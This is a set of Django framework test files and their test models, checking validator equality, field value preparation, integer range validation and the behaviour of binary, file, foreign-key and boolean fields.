            RegexValidator(r'^(?:[a-z0-9\.\-]*)://'),
        )
        self.assertNotEqual(
            RegexValidator(r'^(?:[a-z0-9\.\-]*)://'),
            RegexValidator(r'^(?:[0-9\.\-]*)://'),
        )
        self.assertEqual(
            RegexValidator(r'^(?:[a-z0-9\.\-]*)://', "oh noes", "invalid"),
            RegexValidator(r'^(?:[a-z0-9\.\-]*)://', "oh noes", "invalid"),
        )
        self.assertNotEqual(
            RegexValidator(r'^(?:[a-z0-9\.\-]*)://', "oh", "invalid"),
            RegexValidator(r'^(?:[a-z0-9\.\-]*)://', "oh noes", "invalid"),
        )
        self.assertNotEqual(
            RegexValidator(r'^(?:[a-z0-9\.\-]*)://', "oh noes", "invalid"),
            RegexValidator(r'^(?:[a-z0-9\.\-]*)://'),
        )

        self.assertNotEqual(
            RegexValidator('', flags=re.IGNORECASE),
            RegexValidator(''),
        )

        self.assertNotEqual(
            RegexValidator(''),
            RegexValidator('', inverse_match=True),
        )

    def test_regex_equality_nocache(self):
        pattern = r'^(?:[a-z0-9\.\-]*)://'
        left = RegexValidator(pattern)
        re.purge()
        right = RegexValidator(pattern)

        self.assertEqual(
            left,
            right,
        )

    def test_regex_equality_blank(self):
        self.assertEqual(
            RegexValidator(),
            RegexValidator(),
        )

    def test_email_equality(self):
        self.assertEqual(
            EmailValidator(),
            EmailValidator(),
        )
        self.assertNotEqual(
            EmailValidator(message="BAD EMAIL"),
            EmailValidator(),
        )
        self.assertEqual(
            EmailValidator(message="BAD EMAIL", code="bad"),
            EmailValidator(message="BAD EMAIL", code="bad"),
        )

    def test_basic_equality(self):
        self.assertEqual(
            MaxValueValidator(44),
            MaxValueValidator(44),
        )
        self.assertNotEqual(
            MaxValueValidator(44),
            MinValueValidator(44),
        )
        self.assertNotEqual(
            MinValueValidator(45),
            MinValueValidator(11),
        )

    def test_decimal_equality(self):
        self.assertEqual(
            DecimalValidator(1, 2),
            DecimalValidator(1, 2),
        )
        self.assertNotEqual(
            DecimalValidator(1, 2),
            DecimalValidator(1, 1),
        )
        self.assertNotEqual(
            DecimalValidator(1, 2),
            DecimalValidator(2, 2),
        )
        self.assertNotEqual(
            DecimalValidator(1, 2),
            MinValueValidator(11),
        )

    def test_file_extension_equality(self):
        self.assertEqual(
            FileExtensionValidator(),
            FileExtensionValidator()
        )
        self.assertEqual(
            FileExtensionValidator(['txt']),
            FileExtensionValidator(['txt'])
        )
        self.assertEqual(
            FileExtensionValidator(['txt']),
            FileExtensionValidator(['txt'], code='invalid_extension')
        )
        self.assertNotEqual(
            FileExtensionValidator(['txt']),
            FileExtensionValidator(['png'])
        )
        self.assertNotEqual(
            FileExtensionValidator(['txt']),
            FileExtensionValidator(['png', 'jpg'])
        )
        self.assertNotEqual(
            FileExtensionValidator(['txt']),
            FileExtensionValidator(['txt'], code='custom_code')
        )
        self.assertNotEqual(
            FileExtensionValidator(['txt']),
            FileExtensionValidator(['txt'], message='custom error message')
        )






from __future__ import unicode_literals

import datetime
import unittest
from decimal import Decimal

from django.db.models.fields import (
    AutoField, BigIntegerField, BinaryField, BooleanField, CharField,
    CommaSeparatedIntegerField, DateField, DateTimeField, DecimalField,
    EmailField, FilePathField, FloatField, GenericIPAddressField, IntegerField,
    IPAddressField, NullBooleanField, PositiveIntegerField,
    PositiveSmallIntegerField, SlugField, SmallIntegerField, TextField,
    TimeField, URLField,
)
from django.db.models.fields.files import FileField, ImageField
from django.test import SimpleTestCase
from django.utils import six
from django.utils.functional import lazy


class PromiseTest(SimpleTestCase):

    def test_AutoField(self):
        lazy_func = lazy(lambda: 1, int)
        self.assertIsInstance(AutoField(primary_key=True).get_prep_value(lazy_func()), int)

    @unittest.skipIf(six.PY3, 'Python 3 has no `long` type.')
    def test_BigIntegerField(self):
        lazy_func = lazy(lambda: long(9999999999999999999), long)  # NOQA: long undefined on PY3
        self.assertIsInstance(BigIntegerField().get_prep_value(lazy_func()), long)  # NOQA

    def test_BinaryField(self):
        lazy_func = lazy(lambda: b'', bytes)
        self.assertIsInstance(BinaryField().get_prep_value(lazy_func()), bytes)

    def test_BooleanField(self):
        lazy_func = lazy(lambda: True, bool)
        self.assertIsInstance(BooleanField().get_prep_value(lazy_func()), bool)

    def test_CharField(self):
        lazy_func = lazy(lambda: '', six.text_type)
        self.assertIsInstance(CharField().get_prep_value(lazy_func()), six.text_type)
        lazy_func = lazy(lambda: 0, int)
        self.assertIsInstance(CharField().get_prep_value(lazy_func()), six.text_type)

    def test_CommaSeparatedIntegerField(self):
        lazy_func = lazy(lambda: '1,2', six.text_type)
        self.assertIsInstance(CommaSeparatedIntegerField().get_prep_value(lazy_func()), six.text_type)
        lazy_func = lazy(lambda: 0, int)
        self.assertIsInstance(CommaSeparatedIntegerField().get_prep_value(lazy_func()), six.text_type)

    def test_DateField(self):
        lazy_func = lazy(lambda: datetime.date.today(), datetime.date)
        self.assertIsInstance(DateField().get_prep_value(lazy_func()), datetime.date)

    def test_DateTimeField(self):
        lazy_func = lazy(lambda: datetime.datetime.now(), datetime.datetime)
        self.assertIsInstance(DateTimeField().get_prep_value(lazy_func()), datetime.datetime)

    def test_DecimalField(self):
        lazy_func = lazy(lambda: Decimal('1.2'), Decimal)
        self.assertIsInstance(DecimalField().get_prep_value(lazy_func()), Decimal)

    def test_EmailField(self):
        lazy_func = lazy(lambda: 'mailbox@domain.com', six.text_type)
        self.assertIsInstance(EmailField().get_prep_value(lazy_func()), six.text_type)

    def test_FileField(self):
        lazy_func = lazy(lambda: 'filename.ext', six.text_type)
        self.assertIsInstance(FileField().get_prep_value(lazy_func()), six.text_type)
        lazy_func = lazy(lambda: 0, int)
        self.assertIsInstance(FileField().get_prep_value(lazy_func()), six.text_type)

    def test_FilePathField(self):
        lazy_func = lazy(lambda: 'tests.py', six.text_type)
        self.assertIsInstance(FilePathField().get_prep_value(lazy_func()), six.text_type)
        lazy_func = lazy(lambda: 0, int)
        self.assertIsInstance(FilePathField().get_prep_value(lazy_func()), six.text_type)

    def test_FloatField(self):
        lazy_func = lazy(lambda: 1.2, float)
        self.assertIsInstance(FloatField().get_prep_value(lazy_func()), float)

    def test_ImageField(self):
        lazy_func = lazy(lambda: 'filename.ext', six.text_type)
        self.assertIsInstance(ImageField().get_prep_value(lazy_func()), six.text_type)

    def test_IntegerField(self):
        lazy_func = lazy(lambda: 1, int)
        self.assertIsInstance(IntegerField().get_prep_value(lazy_func()), int)

    def test_IPAddressField(self):
        lazy_func = lazy(lambda: '127.0.0.1', six.text_type)
        self.assertIsInstance(IPAddressField().get_prep_value(lazy_func()), six.text_type)
        lazy_func = lazy(lambda: 0, int)
        self.assertIsInstance(IPAddressField().get_prep_value(lazy_func()), six.text_type)

    def test_GenericIPAddressField(self):
        lazy_func = lazy(lambda: '127.0.0.1', six.text_type)
        self.assertIsInstance(GenericIPAddressField().get_prep_value(lazy_func()), six.text_type)
        lazy_func = lazy(lambda: 0, int)
        self.assertIsInstance(GenericIPAddressField().get_prep_value(lazy_func()), six.text_type)

    def test_NullBooleanField(self):
        lazy_func = lazy(lambda: True, bool)
        self.assertIsInstance(NullBooleanField().get_prep_value(lazy_func()), bool)

    def test_PositiveIntegerField(self):
        lazy_func = lazy(lambda: 1, int)
        self.assertIsInstance(PositiveIntegerField().get_prep_value(lazy_func()), int)

    def test_PositiveSmallIntegerField(self):
        lazy_func = lazy(lambda: 1, int)
        self.assertIsInstance(PositiveSmallIntegerField().get_prep_value(lazy_func()), int)

    def test_SlugField(self):
        lazy_func = lazy(lambda: 'slug', six.text_type)
        self.assertIsInstance(SlugField().get_prep_value(lazy_func()), six.text_type)
        lazy_func = lazy(lambda: 0, int)
        self.assertIsInstance(SlugField().get_prep_value(lazy_func()), six.text_type)

    def test_SmallIntegerField(self):
        lazy_func = lazy(lambda: 1, int)
        self.assertIsInstance(SmallIntegerField().get_prep_value(lazy_func()), int)

    def test_TextField(self):
        lazy_func = lazy(lambda: 'Abc', six.text_type)
        self.assertIsInstance(TextField().get_prep_value(lazy_func()), six.text_type)
        lazy_func = lazy(lambda: 0, int)
        self.assertIsInstance(TextField().get_prep_value(lazy_func()), six.text_type)

    def test_TimeField(self):
        lazy_func = lazy(lambda: datetime.datetime.now().time(), datetime.time)
        self.assertIsInstance(TimeField().get_prep_value(lazy_func()), datetime.time)

    def test_URLField(self):
        lazy_func = lazy(lambda: 'http://domain.com', six.text_type)
        self.assertIsInstance(URLField().get_prep_value(lazy_func()), six.text_type)






from django.core import validators
from django.core.exceptions import ValidationError
from django.db import connection, models
from django.test import SimpleTestCase, TestCase
from django.utils import six

from .models import (
    BigIntegerModel, IntegerModel, PositiveIntegerModel,
    PositiveSmallIntegerModel, SmallIntegerModel,
)


class IntegerFieldTests(TestCase):
    model = IntegerModel
    documented_range = (-2147483648, 2147483647)

    @property
    def backend_range(self):
        field = self.model._meta.get_field('value')
        internal_type = field.get_internal_type()
        return connection.ops.integer_field_range(internal_type)

    def test_documented_range(self):
        """
        Values within the documented safe range pass validation, and can be
        saved and retrieved without corruption.
        """
        min_value, max_value = self.documented_range

        instance = self.model(value=min_value)
        instance.full_clean()
        instance.save()
        qs = self.model.objects.filter(value__lte=min_value)
        self.assertEqual(qs.count(), 1)
        self.assertEqual(qs[0].value, min_value)

        instance = self.model(value=max_value)
        instance.full_clean()
        instance.save()
        qs = self.model.objects.filter(value__gte=max_value)
        self.assertEqual(qs.count(), 1)
        self.assertEqual(qs[0].value, max_value)

    def test_backend_range_save(self):
        """
        Backend specific ranges can be saved without corruption.
        """
        min_value, max_value = self.backend_range

        if min_value is not None:
            instance = self.model(value=min_value)
            instance.full_clean()
            instance.save()
            qs = self.model.objects.filter(value__lte=min_value)
            self.assertEqual(qs.count(), 1)
            self.assertEqual(qs[0].value, min_value)

        if max_value is not None:
            instance = self.model(value=max_value)
            instance.full_clean()
            instance.save()
            qs = self.model.objects.filter(value__gte=max_value)
            self.assertEqual(qs.count(), 1)
            self.assertEqual(qs[0].value, max_value)

    def test_backend_range_validation(self):
        """
        Backend specific ranges are enforced at the model validation level
        (#12030).
        """
        min_value, max_value = self.backend_range

        if min_value is not None:
            instance = self.model(value=min_value - 1)
            expected_message = validators.MinValueValidator.message % {
                'limit_value': min_value,
            }
            with self.assertRaisesMessage(ValidationError, expected_message):
                instance.full_clean()
            instance.value = min_value
            instance.full_clean()

        if max_value is not None:
            instance = self.model(value=max_value + 1)
            expected_message = validators.MaxValueValidator.message % {
                'limit_value': max_value,
            }
            with self.assertRaisesMessage(ValidationError, expected_message):
                instance.full_clean()
            instance.value = max_value
            instance.full_clean()

    def test_redundant_backend_range_validators(self):
        """
        If there are stricter validators than the ones from the database
        backend then the backend validators aren't added.
        """
        min_backend_value, max_backend_value = self.backend_range

        if min_backend_value is not None:
            min_custom_value = min_backend_value + 1
            ranged_value_field = self.model._meta.get_field('value').__class__(
                validators=[validators.MinValueValidator(min_custom_value)]
            )
            field_range_message = validators.MinValueValidator.message % {
                'limit_value': min_custom_value,
            }
            with self.assertRaisesMessage(ValidationError, "[%r]" % field_range_message):
                ranged_value_field.run_validators(min_backend_value - 1)

        if max_backend_value is not None:
            max_custom_value = max_backend_value - 1
            ranged_value_field = self.model._meta.get_field('value').__class__(
                validators=[validators.MaxValueValidator(max_custom_value)]
            )
            field_range_message = validators.MaxValueValidator.message % {
                'limit_value': max_custom_value,
            }
            with self.assertRaisesMessage(ValidationError, "[%r]" % field_range_message):
                ranged_value_field.run_validators(max_backend_value + 1)

    def test_types(self):
        instance = self.model(value=0)
        self.assertIsInstance(instance.value, six.integer_types)
        instance.save()
        self.assertIsInstance(instance.value, six.integer_types)
        instance = self.model.objects.get()
        self.assertIsInstance(instance.value, six.integer_types)

    def test_coercing(self):
        self.model.objects.create(value='10')
        instance = self.model.objects.get(value='10')
        self.assertEqual(instance.value, 10)


class SmallIntegerFieldTests(IntegerFieldTests):
    model = SmallIntegerModel
    documented_range = (-32768, 32767)


class BigIntegerFieldTests(IntegerFieldTests):
    model = BigIntegerModel
    documented_range = (-9223372036854775808, 9223372036854775807)


class PositiveSmallIntegerFieldTests(IntegerFieldTests):
    model = PositiveSmallIntegerModel
    documented_range = (0, 32767)


class PositiveIntegerFieldTests(IntegerFieldTests):
    model = PositiveIntegerModel
    documented_range = (0, 2147483647)


class ValidationTests(SimpleTestCase):

    def test_integerfield_cleans_valid_string(self):
        f = models.IntegerField()
        self.assertEqual(f.clean('2', None), 2)

    def test_integerfield_raises_error_on_invalid_intput(self):
        f = models.IntegerField()
        with self.assertRaises(ValidationError):
            f.clean('a', None)

    def test_choices_validation_supports_named_groups(self):
        f = models.IntegerField(choices=(('group', ((10, 'A'), (20, 'B'))), (30, 'C')))
        self.assertEqual(10, f.clean(10, None))

    def test_nullable_integerfield_raises_error_with_blank_false(self):
        f = models.IntegerField(null=True, blank=False)
        with self.assertRaises(ValidationError):
            f.clean(None, None)

    def test_nullable_integerfield_cleans_none_on_null_and_blank_true(self):
        f = models.IntegerField(null=True, blank=True)
        self.assertIsNone(f.clean(None, None))

    def test_integerfield_raises_error_on_empty_input(self):
        f = models.IntegerField(null=False)
        with self.assertRaises(ValidationError):
            f.clean(None, None)
        with self.assertRaises(ValidationError):
            f.clean('', None)

    def test_integerfield_validates_zero_against_choices(self):
        f = models.IntegerField(choices=((1, 1),))
        with self.assertRaises(ValidationError):
            f.clean('0', None)






from django.core.exceptions import ValidationError
from django.test import TestCase
from django.utils import six

from .models import DataModel


class BinaryFieldTests(TestCase):
    binary_data = b'\x00\x46\xFE'

    def test_set_and_retrieve(self):
        data_set = (self.binary_data, six.memoryview(self.binary_data))
        for bdata in data_set:
            dm = DataModel(data=bdata)
            dm.save()
            dm = DataModel.objects.get(pk=dm.pk)
            self.assertEqual(bytes(dm.data), bytes(bdata))
            # Resave (=update)
            dm.save()
            dm = DataModel.objects.get(pk=dm.pk)
            self.assertEqual(bytes(dm.data), bytes(bdata))
            # Test default value
            self.assertEqual(bytes(dm.short_data), b'\x08')

    def test_max_length(self):
        dm = DataModel(short_data=self.binary_data * 4)
        with self.assertRaises(ValidationError):
            dm.full_clean()






import os
import tempfile
import uuid

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.core.files.storage import FileSystemStorage
from django.db import models
from django.db.models.fields.files import ImageField, ImageFieldFile
from django.db.models.fields.related import (
    ForeignKey, ForeignObject, ManyToManyField, OneToOneField,
)
from django.utils import six

try:
    from PIL import Image
except ImportError:
    Image = None


class Foo(models.Model):
    a = models.CharField(max_length=10)
    d = models.DecimalField(max_digits=5, decimal_places=3)


def get_foo():
    return Foo.objects.get(id=1).pk


class Bar(models.Model):
    b = models.CharField(max_length=10)
    a = models.ForeignKey(Foo, models.CASCADE, default=get_foo, related_name=b'bars')


class Whiz(models.Model):
    CHOICES = (
        ('Group 1', (
            (1, 'First'),
            (2, 'Second'),
        )
        ),
        ('Group 2', (
            (3, 'Third'),
            (4, 'Fourth'),
        )
        ),
        (0, 'Other'),
    )
    c = models.IntegerField(choices=CHOICES, null=True)


class Counter(six.Iterator):
    def __init__(self):
        self.n = 1

    def __iter__(self):
        return self

    def __next__(self):
        if self.n > 5:
            raise StopIteration
        else:
            self.n += 1
            return (self.n, 'val-' + str(self.n))


class WhizIter(models.Model):
    c = models.IntegerField(choices=Counter(), null=True)


class WhizIterEmpty(models.Model):
    c = models.CharField(choices=(x for x in []), blank=True, max_length=1)


class BigD(models.Model):
    d = models.DecimalField(max_digits=38, decimal_places=30)


class FloatModel(models.Model):
    size = models.FloatField()


class BigS(models.Model):
    s = models.SlugField(max_length=255)


class UnicodeSlugField(models.Model):
    s = models.SlugField(max_length=255, allow_unicode=True)


class SmallIntegerModel(models.Model):
    value = models.SmallIntegerField()


class IntegerModel(models.Model):
    value = models.IntegerField()


class BigIntegerModel(models.Model):
    value = models.BigIntegerField()
    null_value = models.BigIntegerField(null=True, blank=True)


class PositiveSmallIntegerModel(models.Model):
    value = models.PositiveSmallIntegerField()


class PositiveIntegerModel(models.Model):
    value = models.PositiveIntegerField()


class Post(models.Model):
    title = models.CharField(max_length=100)
    body = models.TextField()


class NullBooleanModel(models.Model):
    nbfield = models.NullBooleanField()


class BooleanModel(models.Model):
    bfield = models.BooleanField()
    string = models.CharField(max_length=10, default='abc')


class DateTimeModel(models.Model):
    d = models.DateField()
    dt = models.DateTimeField()
    t = models.TimeField()


class DurationModel(models.Model):
    field = models.DurationField()


class NullDurationModel(models.Model):
    field = models.DurationField(null=True)


class PrimaryKeyCharModel(models.Model):
    string = models.CharField(max_length=10, primary_key=True)


class FksToBooleans(models.Model):
    """Model with FKs to models with {Null,}BooleanField's, #15040"""
    bf = models.ForeignKey(BooleanModel, models.CASCADE)
    nbf = models.ForeignKey(NullBooleanModel, models.CASCADE)


class FkToChar(models.Model):
    """Model with FK to a model with a CharField primary key, #19299"""
    out = models.ForeignKey(PrimaryKeyCharModel, models.CASCADE)


class RenamedField(models.Model):
    modelname = models.IntegerField(name="fieldname", choices=((1, 'One'),))


class VerboseNameField(models.Model):
    id = models.AutoField("verbose pk", primary_key=True)
    field1 = models.BigIntegerField("verbose field1")
    field2 = models.BooleanField("verbose field2", default=False)
    field3 = models.CharField("verbose field3", max_length=10)
    field4 = models.CommaSeparatedIntegerField("verbose field4", max_length=99)
    field5 = models.DateField("verbose field5")
    field6 = models.DateTimeField("verbose field6")
    field7 = models.DecimalField("verbose field7", max_digits=6, decimal_places=1)
    field8 = models.EmailField("verbose field8")
    field9 = models.FileField("verbose field9", upload_to="unused")
    field10 = models.FilePathField("verbose field10")
    field11 = models.FloatField("verbose field11")
    # Don't want to depend on Pillow in this test
    # field_image = models.ImageField("verbose field")
    field12 = models.IntegerField("verbose field12")
    field13 = models.GenericIPAddressField("verbose field13", protocol="ipv4")
    field14 = models.NullBooleanField("verbose field14")
    field15 = models.PositiveIntegerField("verbose field15")
    field16 = models.PositiveSmallIntegerField("verbose field16")
    field17 = models.SlugField("verbose field17")
    field18 = models.SmallIntegerField("verbose field18")
    field19 = models.TextField("verbose field19")
    field20 = models.TimeField("verbose field20")
    field21 = models.URLField("verbose field21")
    field22 = models.UUIDField("verbose field22")
    field23 = models.DurationField("verbose field23")


class GenericIPAddress(models.Model):
    ip = models.GenericIPAddressField(null=True, protocol='ipv4')


###############################################################################
# These models aren't used in any test, just here to ensure they validate
# successfully.

# See ticket #16570.
class DecimalLessThanOne(models.Model):
    d = models.DecimalField(max_digits=3, decimal_places=3)


# See ticket #18389.
class FieldClassAttributeModel(models.Model):
    field_class = models.CharField

###############################################################################


class DataModel(models.Model):
    short_data = models.BinaryField(max_length=10, default=b'\x08')
    data = models.BinaryField()

###############################################################################
# FileField


class Document(models.Model):
    myfile = models.FileField(upload_to='unused')

###############################################################################
# ImageField

# If Pillow available, do these tests.
if Image:
    class TestImageFieldFile(ImageFieldFile):
        """
        Custom Field File class that records whether or not the underlying file
        was opened.
        """
        def __init__(self, *args, **kwargs):
            self.was_opened = False
            super(TestImageFieldFile, self).__init__(*args, **kwargs)

        def open(self):
            self.was_opened = True
            super(TestImageFieldFile, self).open()

    class TestImageField(ImageField):
        attr_class = TestImageFieldFile

    # Set up a temp directory for file storage.
    temp_storage_dir = tempfile.mkdtemp()
    temp_storage = FileSystemStorage(temp_storage_dir)
    temp_upload_to_dir = os.path.join(temp_storage.location, 'tests')

    class Person(models.Model):
        """
        Model that defines an ImageField with no dimension fields.
        """
        name = models.CharField(max_length=50)
        mugshot = TestImageField(storage=temp_storage, upload_to='tests')

    class AbstractPersonWithHeight(models.Model):
        """
        Abstract model that defines an ImageField with only one dimension field
        to make sure the dimension update is correctly run on concrete subclass
        instance post-initialization.
        """
        mugshot = TestImageField(storage=temp_storage, upload_to='tests',
                                 height_field='mugshot_height')
        mugshot_height = models.PositiveSmallIntegerField()

        class Meta:
            abstract = True

    class PersonWithHeight(AbstractPersonWithHeight):
        """
        Concrete model that subclass an abstract one with only on dimension
        field.
        """
        name = models.CharField(max_length=50)

    class PersonWithHeightAndWidth(models.Model):
        """
        Model that defines height and width fields after the ImageField.
        """
        name = models.CharField(max_length=50)
        mugshot = TestImageField(storage=temp_storage, upload_to='tests',
                                 height_field='mugshot_height',
                                 width_field='mugshot_width')
        mugshot_height = models.PositiveSmallIntegerField()
        mugshot_width = models.PositiveSmallIntegerField()

    class PersonDimensionsFirst(models.Model):
        """
        Model that defines height and width fields before the ImageField.
        """
        name = models.CharField(max_length=50)
        mugshot_height = models.PositiveSmallIntegerField()
        mugshot_width = models.PositiveSmallIntegerField()
        mugshot = TestImageField(storage=temp_storage, upload_to='tests',
                                 height_field='mugshot_height',
                                 width_field='mugshot_width')

    class PersonTwoImages(models.Model):
        """
        Model that:
        * Defines two ImageFields
        * Defines the height/width fields before the ImageFields
        * Has a nullable ImageField
        """
        name = models.CharField(max_length=50)
        mugshot_height = models.PositiveSmallIntegerField()
        mugshot_width = models.PositiveSmallIntegerField()
        mugshot = TestImageField(storage=temp_storage, upload_to='tests',
                                 height_field='mugshot_height',
                                 width_field='mugshot_width')
        headshot_height = models.PositiveSmallIntegerField(
            blank=True, null=True)
        headshot_width = models.PositiveSmallIntegerField(
            blank=True, null=True)
        headshot = TestImageField(blank=True, null=True,
                                  storage=temp_storage, upload_to='tests',
                                  height_field='headshot_height',
                                  width_field='headshot_width')


class AllFieldsModel(models.Model):
    big_integer = models.BigIntegerField()
    binary = models.BinaryField()
    boolean = models.BooleanField(default=False)
    char = models.CharField(max_length=10)
    csv = models.CommaSeparatedIntegerField(max_length=10)
    date = models.DateField()
    datetime = models.DateTimeField()
    decimal = models.DecimalField(decimal_places=2, max_digits=2)
    duration = models.DurationField()
    email = models.EmailField()
    file_path = models.FilePathField()
    floatf = models.FloatField()
    integer = models.IntegerField()
    generic_ip = models.GenericIPAddressField()
    null_boolean = models.NullBooleanField()
    positive_integer = models.PositiveIntegerField()
    positive_small_integer = models.PositiveSmallIntegerField()
    slug = models.SlugField()
    small_integer = models.SmallIntegerField()
    text = models.TextField()
    time = models.TimeField()
    url = models.URLField()
    uuid = models.UUIDField()

    fo = ForeignObject(
        'self',
        on_delete=models.CASCADE,
        from_fields=['abstract_non_concrete_id'],
        to_fields=['id'],
        related_name='reverse'
    )
    fk = ForeignKey(
        'self',
        models.CASCADE,
        related_name='reverse2'
    )
    m2m = ManyToManyField('self')
    oto = OneToOneField('self', models.CASCADE)

    object_id = models.PositiveIntegerField()
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    gfk = GenericForeignKey()
    gr = GenericRelation(DataModel)


###############################################################################


class UUIDModel(models.Model):
    field = models.UUIDField()


class NullableUUIDModel(models.Model):
    field = models.UUIDField(blank=True, null=True)


class PrimaryKeyUUIDModel(models.Model):
    id = models.UUIDField(primary_key=True, default=uuid.uuid4)


class RelatedToUUIDModel(models.Model):
    uuid_fk = models.ForeignKey('PrimaryKeyUUIDModel', models.CASCADE)


class UUIDChild(PrimaryKeyUUIDModel):
    pass


class UUIDGrandchild(UUIDChild):
    pass






from django.test import TestCase

from .models import Document


class FileFieldTests(TestCase):

    def test_clearable(self):
        """
        FileField.save_form_data() will clear its instance attribute value if
        passed False.
        """
        d = Document(myfile='something.txt')
        self.assertEqual(d.myfile, 'something.txt')
        field = d._meta.get_field('myfile')
        field.save_form_data(d, False)
        self.assertEqual(d.myfile, '')

    def test_unchanged(self):
        """
        FileField.save_form_data() considers None to mean "no change" rather
        than "clear".
        """
        d = Document(myfile='something.txt')
        self.assertEqual(d.myfile, 'something.txt')
        field = d._meta.get_field('myfile')
        field.save_form_data(d, None)
        self.assertEqual(d.myfile, 'something.txt')

    def test_changed(self):
        """
        FileField.save_form_data(), if passed a truthy value, updates its
        instance attribute.
        """
        d = Document(myfile='something.txt')
        self.assertEqual(d.myfile, 'something.txt')
        field = d._meta.get_field('myfile')
        field.save_form_data(d, 'else.txt')
        self.assertEqual(d.myfile, 'else.txt')

    def test_delete_when_file_unset(self):
        """
        Calling delete on an unset FileField should not call the file deletion
        process, but fail silently (#20660).
        """
        d = Document()
        d.myfile.delete()

    def test_refresh_from_db(self):
        d = Document.objects.create(myfile='something.txt')
        d.refresh_from_db()
        self.assertIs(d.myfile.instance, d)

    def test_defer(self):
        Document.objects.create(myfile='something.txt')
        self.assertEqual(Document.objects.defer('myfile')[0].myfile, 'something.txt')






from decimal import Decimal

from django.apps import apps
from django.core import checks
from django.db import models
from django.test import TestCase, skipIfDBFeature
from django.test.utils import isolate_apps
from django.utils import six

from .models import Bar, FkToChar, Foo, PrimaryKeyCharModel


class ForeignKeyTests(TestCase):

    def test_callable_default(self):
        """A lazy callable may be used for ForeignKey.default."""
        a = Foo.objects.create(id=1, a='abc', d=Decimal('12.34'))
        b = Bar.objects.create(b='bcd')
        self.assertEqual(b.a, a)

    @skipIfDBFeature('interprets_empty_strings_as_nulls')
    def test_empty_string_fk(self):
        """
        Empty strings foreign key values don't get converted to None (#19299).
        """
        char_model_empty = PrimaryKeyCharModel.objects.create(string='')
        fk_model_empty = FkToChar.objects.create(out=char_model_empty)
        fk_model_empty = FkToChar.objects.select_related('out').get(id=fk_model_empty.pk)
        self.assertEqual(fk_model_empty.out, char_model_empty)

    @isolate_apps('model_fields')
    def test_warning_when_unique_true_on_fk(self):
        class Foo(models.Model):
            pass

        class FKUniqueTrue(models.Model):
            fk_field = models.ForeignKey(Foo, models.CASCADE, unique=True)

        model = FKUniqueTrue()
        expected_warnings = [
            checks.Warning(
                'Setting unique=True on a ForeignKey has the same effect as using a OneToOneField.',
                hint='ForeignKey(unique=True) is usually better served by a OneToOneField.',
                obj=FKUniqueTrue.fk_field.field,
                id='fields.W342',
            )
        ]
        warnings = model.check()
        self.assertEqual(warnings, expected_warnings)

    def test_related_name_converted_to_text(self):
        rel_name = Bar._meta.get_field('a').remote_field.related_name
        self.assertIsInstance(rel_name, six.text_type)

    def test_abstract_model_pending_operations(self):
        """
        Foreign key fields declared on abstract models should not add lazy
        relations to resolve relationship declared as string (#24215).
        """
        pending_ops_before = list(apps._pending_operations.items())

        class AbstractForeignKeyModel(models.Model):
            fk = models.ForeignKey('missing.FK', models.CASCADE)

            class Meta:
                abstract = True

        self.assertIs(AbstractForeignKeyModel._meta.apps, apps)
        self.assertEqual(
            pending_ops_before,
            list(apps._pending_operations.items()),
            'Pending lookup added for a foreign key on an abstract model'
        )

    @isolate_apps('model_fields', 'model_fields.tests')
    def test_abstract_model_app_relative_foreign_key(self):
        class AbstractReferent(models.Model):
            reference = models.ForeignKey('Refered', on_delete=models.CASCADE)

            class Meta:
                app_label = 'model_fields'
                abstract = True

        def assert_app_model_resolved(label):
            class Refered(models.Model):
                class Meta:
                    app_label = label

            class ConcreteReferent(AbstractReferent):
                class Meta:
                    app_label = label

            self.assertEqual(ConcreteReferent._meta.get_field('reference').related_model, Refered)

        assert_app_model_resolved('model_fields')
        assert_app_model_resolved('tests')






from django.core.exceptions import ValidationError
from django.db import IntegrityError, models, transaction
from django.test import SimpleTestCase, TestCase

from .models import BooleanModel, FksToBooleans, NullBooleanModel


class BooleanFieldTests(TestCase):
    def _test_get_prep_value(self, f):
        self.assertIs(f.get_prep_value(True), True)
        self.assertIs(f.get_prep_value('1'), True)
        self.assertIs(f.get_prep_value(1), True)
        self.assertIs(f.get_prep_value(False), False)
        self.assertIs(f.get_prep_value('0'), False)
        self.assertIs(f.get_prep_value(0), False)
        self.assertIsNone(f.get_prep_value(None))

    def _test_to_python(self, f):
        self.assertIs(f.to_python(1), True)
        self.assertIs(f.to_python(0), False)

    def test_booleanfield_get_prep_value(self):
        self._test_get_prep_value(models.BooleanField())

    def test_nullbooleanfield_get_prep_value(self):
        self._test_get_prep_value(models.NullBooleanField())

    def test_booleanfield_to_python(self):
        self._test_to_python(models.BooleanField())

    def test_nullbooleanfield_to_python(self):
        self._test_to_python(models.NullBooleanField())

    def test_booleanfield_choices_blank(self):
        """
        BooleanField with choices and defaults doesn't generate a formfield
        with the blank option (#9640, #10549).
        """
        choices = [(1, 'Si'), (2, 'No')]
        f = models.BooleanField(choices=choices, default=1, null=False)
        self.assertEqual(f.formfield().choices, choices)

    def test_return_type(self):
        b = BooleanModel.objects.create(bfield=True)
        b.refresh_from_db()
        self.assertIs(b.bfield, True)

        b2 = BooleanModel.objects.create(bfield=False)
        b2.refresh_from_db()
        self.assertIs(b2.bfield, False)

        b3 = NullBooleanModel.objects.create(nbfield=True)
        b3.refresh_from_db()
        self.assertIs(b3.nbfield, True)

        b4 = NullBooleanModel.objects.create(nbfield=False)
        b4.refresh_from_db()
        self.assertIs(b4.nbfield, False)

        # When an extra clause exists, the boolean conversions are applied with
        # an offset (#13293).
        b5 = BooleanModel.objects.all().extra(select={'string_col': 'string'})[0]
        self.assertNotIsInstance(b5.pk, bool)

    def test_select_related(self):
        """
        Boolean fields retrieved via select_related() should return booleans.
        """
        bmt = BooleanModel.objects.create(bfield=True)
        bmf = BooleanModel.objects.create(bfield=False)
        nbmt = NullBooleanModel.objects.create(nbfield=True)
        nbmf = NullBooleanModel.objects.create(nbfield=False)
        m1 = FksToBooleans.objects.create(bf=bmt, nbf=nbmt)
        m2 = FksToBooleans.objects.create(bf=bmf, nbf=nbmf)

        # select_related('fk_field_name')
        ma = FksToBooleans.objects.select_related('bf').get(pk=m1.id)
        self.assertIs(ma.bf.bfield, True)
        self.assertIs(ma.nbf.nbfield, True)

        # select_related()
        mb = FksToBooleans.objects.select_related().get(pk=m1.id)
        mc = FksToBooleans.objects.select_related().get(pk=m2.id)
        self.assertIs(mb.bf.bfield, True)
        self.assertIs(mb.nbf.nbfield, True)
        self.assertIs(mc.bf.bfield, False)
        self.assertIs(mc.nbf.nbfield, False)

